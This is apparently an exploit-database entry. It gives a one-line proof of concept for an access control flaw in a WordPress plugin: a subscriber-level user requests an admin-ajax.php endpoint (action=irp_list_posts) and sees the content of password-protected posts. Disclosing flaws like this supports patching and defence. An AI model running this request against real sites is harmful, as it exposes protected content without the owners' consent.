## https://sploitus.com/exploit?id=WPEX-ID:19A86448-8D7C-4F02-9290-D9F93810E6E1
When logged in as a subscriber, open the following URL and note that the content of password protected posts is displayed : https://example.com/wp-admin/admin-ajax.php?action=irp_list_posts